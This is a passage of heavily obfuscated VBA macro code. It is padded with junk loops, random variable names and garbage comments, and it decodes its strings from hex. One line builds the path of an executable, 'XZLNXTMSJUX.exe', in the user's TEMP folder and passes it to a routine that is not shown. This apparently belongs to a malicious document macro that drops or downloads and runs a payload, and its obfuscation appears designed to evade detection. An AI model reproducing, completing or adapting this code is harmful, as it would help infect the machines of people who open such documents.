í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 ghVkWBUx = LTrim(xNuYrKlK) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 MsTSimvf = RTrim(ghVkWBUx) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 ZAMdAYQS = LTrim(CYdKgqMW) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim IwWaiLND As Integer 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 For IwWaiLND = 0 To 9 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim shVgTyWv, FAsogERK, ejkDmgHn As String 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 shVgTyWv = HexToString("2020202020202020202020454145454759202020202020202020202020202020") 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 FAsogERK = LTrim(shVgTyWv) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 ejkDmgHn = RTrim(FAsogERK) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 DoEvents 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Next IwWaiLND 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim HhYDQTGo, zwlHflLl, fAtLGuXR As String 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 HhYDQTGo = HexToString("20202020202020202020204E5249515851202020202020202020202020202020") 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 zwlHflLl = LTrim(HhYDQTGo) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 fAtLGuXR = RTrim(zwlHflLl) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 mKQVlDah = RTrim(ZAMdAYQS) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim MXGfFVXh As Integer 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 For MXGfFVXh = 0 To 2 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim pPIhWNUM, yPKAhttW, aQeDPoZX As String 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 pPIhWNUM = HexToString("202020202020202020202051594C44474D202020202020202020202020202020") 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 yPKAhttW = LTrim(pPIhWNUM) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 aQeDPoZX = RTrim(yPKAhttW) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 DoEvents 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Next MXGfFVXh 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim SXknxwmz, RdosdZPT, piHYbCAx As String 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 SXknxwmz = HexToString("2020202020202020202020494742445958202020202020202020202020202020") 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 RdosdZPT = LTrim(SXknxwmz) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 piHYbCAx = RTrim(RdosdZPT) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 XBFAPGNWGLM dygigGUIIU, Environ(HexToString("54454D50")) & HexToString("5C585A4C4E58544D534A55582E657865") 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 End Sub 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Public Function HexToString(ByVal wlFwnAKuth As String) As String 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim uQdrZqcgGusmEB As String 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim tSYUgjyTUeojMcv As String 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim UPEktusxicjMa As Long 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 For UPEktusxicjMa = 1 To Len(wlFwnAKuth) Step 2 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim aJoPSqIO, hUgfKXMk, KLEiAlES As String 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim HVJSphPY As Integer 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 For HVJSphPY = 0 To 7 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim zLlcoBJH, UFNKwlII, dOIdIGnb As String 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 zLlcoBJH = " OEWRQK " 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 UFNKwlII = LTrim(zLlcoBJH) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 dOIdIGnb = RTrim(UFNKwlII) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 DoEvents 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Next HVJSphPY 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim vIRjGOFd, aMKqvuxY, hOVFRKIg As String 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 vIRjGOFd = " OPLRMW " 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 aMKqvuxY = LTrim(vIRjGOFd) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 hOVFRKIg = RTrim(aMKqvuxY) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 aJoPSqIO = " HRRYEG " 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim GemnnllM As Integer 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 For GemnnllM = 0 To 3 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim wmEehwUQ, UnhyKpPX, TsLKHsjm As String 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 wmEehwUQ = " OXEQXD " 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 UnhyKpPX = LTrim(wmEehwUQ) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 TsLKHsjm = RTrim(UnhyKpPX) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 DoEvents 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Next GemnnllM 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim CRZMxbXP, KTSyJRlQ, FYXksIJD As String 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 CRZMxbXP = " VLSMFF " 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 KTSyJRlQ = LTrim(CRZMxbXP) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 FYXksIJD = RTrim(KTSyJRlQ) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 hUgfKXMk = LTrim(aJoPSqIO) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim QAfzAAfs As Integer 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 For QAfzAAfs = 0 To 6 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim mfjZcHQR, BpVCQqZw, RtTkVTmf As String 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 mfjZcHQR = " KDMYKD " 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 BpVCQqZw = LTrim(mfjZcHQR) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 RtTkVTmf = RTrim(BpVCQqZw) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 DoEvents 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Next QAfzAAfs 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim EooGpICB, KVglhloU, mpZdBJKa As String 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 EooGpICB = " TDRIGA " 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 KVglhloU = LTrim(EooGpICB) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 mpZdBJKa = RTrim(KVglhloU) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 KLEiAlES = RTrim(hUgfKXMk) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim hrJFNyRq As Integer 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 For hrJFNyRq = 0 To 4 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim jaiZOfUY, ZuMTszPJ, GdYIDGFz As String 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 jaiZOfUY = " USKCYO " 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 ZuMTszPJ = LTrim(jaiZOfUY) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 GdYIDGFz = RTrim(ZuMTszPJ) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 DoEvents 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Next hrJFNyRq 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim JjTcabsm, DkGOwROx, IkNWGIuc As String 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 JjTcabsm = " ZXKJKY " 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 DkGOwROx = LTrim(JjTcabsm) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 IkNWGIuc = RTrim(DkGOwROx) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 uQdrZqcgGusmEB = Chr$(Val(Chr$(38) & Chr$(72) & Mid$(wlFwnAKuth, UPEktusxicjMa, 2))) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim ZVmEwSfY, GruYCnkJ, apLObfmz As String 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim ODgMtkqh As Integer 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 For ODgMtkqh = 0 To 8 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim tpCavzIh, PtTwQcbi, gNdHBKkB As String 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 tpCavzIh = " PQPLLM " 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 PtTwQcbi = LTrim(tpCavzIh) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 gNdHBKkB = RTrim(PtTwQcbi) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 DoEvents 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Next ODgMtkqh 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim ugGjFFcl, wtWWMbOz, VjpGEClw As String 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 ugGjFFcl = " MHWXRR " 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 wtWWMbOz = LTrim(ugGjFFcl) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 VjpGEClw = RTrim(wtWWMbOz) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 ZVmEwSfY = " DPVVBW " 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim TsiwubrI As Integer 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 For TsiwubrI = 0 To 1 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim JvcswooH, GoNBlqGg, agSzWBKb As String 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 JvcswooH = " MVBGBY " 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 GoNBlqGg = LTrim(JvcswooH) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 agSzWBKb = RTrim(GoNBlqGg) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 DoEvents 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Next TsiwubrI 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim MwBHNLZT, HxozmVNY, QclfGzcU As String 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 MwBHNLZT = " RBZNKH " 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 HxozmVNY = LTrim(MwBHNLZT) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 QclfGzcU = RTrim(HxozmVNY) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð 